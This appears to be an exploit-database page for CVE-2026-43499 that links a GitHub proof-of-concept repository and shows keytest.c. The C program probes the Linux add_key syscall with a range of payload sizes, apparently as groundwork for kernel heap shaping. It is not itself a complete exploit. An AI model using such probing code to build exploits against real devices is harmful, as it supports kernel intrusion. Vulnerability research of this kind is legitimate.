Exploit database

GH-e6e5922ef9ac5cc7d4897803cb452516

zero2005x/rokid-rv101-research

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files10

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

research/ghostlock_refs/extracted/honor/cve-2026-43499-honor-main/keytest.c

C · 860 bytes
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/syscall.h>

#define __NR_add_key 217
#define __NR_keyctl  219

static long do_add_key(const char *type, const char *desc, void *payload, size_t plen) {
    return syscall(__NR_add_key, type, desc, payload, plen, -1 /* KEY_SPEC_PROCESS_KEYRING */);
}

int main(void) {
    static unsigned char buf[64 * 1024];
    memset(buf, 0x41, sizeof(buf));

    printf("uid=%d\n", getuid());

    size_t sizes[] = { 4096, 8192, 16384, 24576, 32768, 32768 - 48, 65536 };
    for (int i = 0; i < (int)(sizeof(sizes)/sizeof(sizes[0])); i++) {
        size_t sz = sizes[i];
        errno = 0;
        long ret = do_add_key("user", "kt", buf, sz);
        printf("add_key(user, sz=%6zu) ret=%ld errno=%d (%s)\n",
               sz, ret, errno, strerror(errno));
    }

    return 0;
}